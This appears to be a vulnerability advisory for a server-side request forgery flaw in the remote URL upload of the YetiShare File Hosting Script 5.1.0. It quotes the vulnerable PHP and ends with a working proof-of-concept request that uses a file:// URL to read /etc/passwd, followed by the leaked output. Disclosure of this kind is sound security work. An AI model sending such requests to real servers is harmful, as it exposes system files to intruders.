139 lines
No EOL
4.5 KiB
Text
139 lines
No EOL
4.5 KiB
Text
# Title: YetiShare File Hosting Script 5.1.0 - 'url' Server-Side Request Forgery
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# Date: 09.01.2021
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# Author: Numan Türle
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# Vendor Homepage: https://mfscripts.com
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# Software Link: https://yetishare.com
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# Version: v5.1.0
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# Tested on: YetiShare - File Hosting Script v5.1.0, Php Version : 7.4
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Summary
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---------
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YetiShare is script the file hosting. This script has remote file upload feature.
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Since sufficient security measures are not taken in the remote file upload area,
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SSRF vulnerability available.
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Description
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---------
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When a new upload request is received by the user, the following function block
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is called first.
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app/tasks/process_remote_file_downloads.cron.php
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------------------------------------------------
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// include plugin code
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$url = $urlDownloadData['url'];
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$params = PluginHelper::includeAppends('url_upload_handler', array(
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'url' => $url,
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'rowId' => 0,
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'urlDownloadData' => $urlDownloadData,
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)
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);
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$url = $params['url'];
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// start download
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$upload_handler->handleRemoteUrlUpload($url);
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------------------------------------------------
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The url parameter received as input from the user in the called function blog is
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sent to the "handleRemoteUrlUpload" function.
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/Users/numan/Desktop/file-hosting-script-v5.0.0-beta/app/services/
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Uploader.class.php
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------------------------------------------------------------------
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public function handleRemoteUrlUpload($url, $rowId = 0) {
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.....
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$remoteFileDetails = $this->getRemoteFileDetails($url);
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$remoteFilesize = (int) $remoteFileDetails['bytes'];
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if ($remoteFilesize > $this->options['max_file_size']) {
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.....ERROR MSG
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}
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else {
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// look for real filename if passed in headers
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if (strlen($remoteFileDetails['real_filename'])) {
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$realFilename = trim(current(explode(';',
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$remoteFileDetails['real_filename'])));
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if (strlen($realFilename)) {
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$this->fileUpload->name = $realFilename;
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}
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}
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// try to get the file locally
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$localFile = $this->downloadRemoteFile($url, true);
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------------------------------------------------------------------
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In this function that is called, the details of the file are taken first and if
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the bytes is not larger than the max_file_size, the "downloadRemoteFile"
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function will go to the download.
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------------------------------------------------------------------
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public function getRemoteFileDetails($url) {
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.....
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$execute = curl_exec($ch);
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// check if any error occured
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if (!curl_errno($ch)) {
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$rs['bytes'] = (int) curl_getinfo($ch,
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CURLINFO_CONTENT_LENGTH_DOWNLOAD);
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.....
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------------------------------------------------------------------
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------------------------------------------------------------------
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public function downloadRemoteFile($url, $streamResponse = false) {
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.....
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// use curl
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if (function_exists('curl_init')) {
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// get file via curl
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$fp = fopen($tmpFullPath, 'w+');
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if ($ch === null) {
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$ch = curl_init();
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}
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curl_setopt($ch, CURLOPT_URL, $url);
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.....
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curl_setopt($ch, CURLOPT_FILE, $fp);
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if (curl_exec($ch) === false) {
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// log error
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LogHelper::error('Failed getting url. Error: '
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. curl_error($ch) . ' (' . $url . ')');
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return false;
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}
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$status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
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curl_close($ch);
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fclose($fp);
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.....
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}
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.....
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------------------------------------------------------------------
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POC
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---------
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GET /ajax/url_upload_handler?csaKey1=CSAKEY1&csaKey2=CSAKEY2&rowId=0&url=file:///etc/passwd&folderId=-1 HTTP/1.1
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Host: target.com
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Connection: close
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Accept: */*
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Cookie: HERE_COOKIE
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Response
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---------
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HTTP/1.1 200 OK
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Content-Type: text/html; charset=UTF-8
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Connection: close
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Pragma: no-cache
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Content-Length: XXX
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...<script>parent.updateUrlProgress({"done":{"name":"passwd","size":2082,
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"type":"text\/plain; charset=us-ascii","error":null,"rowId":0,
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"requestUrl":"file:\/\/\/etc\/passwd","url":....
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..........
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root:x:0:0:root:/root:/bin/bash
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daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
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bin:x:2:2:bin:/bin:/usr/sbin/nologin
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sys:x:3:3:sys:/dev:/usr/sbin/nologin
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sync:x:4:65534:sync:/bin:/bin/sync |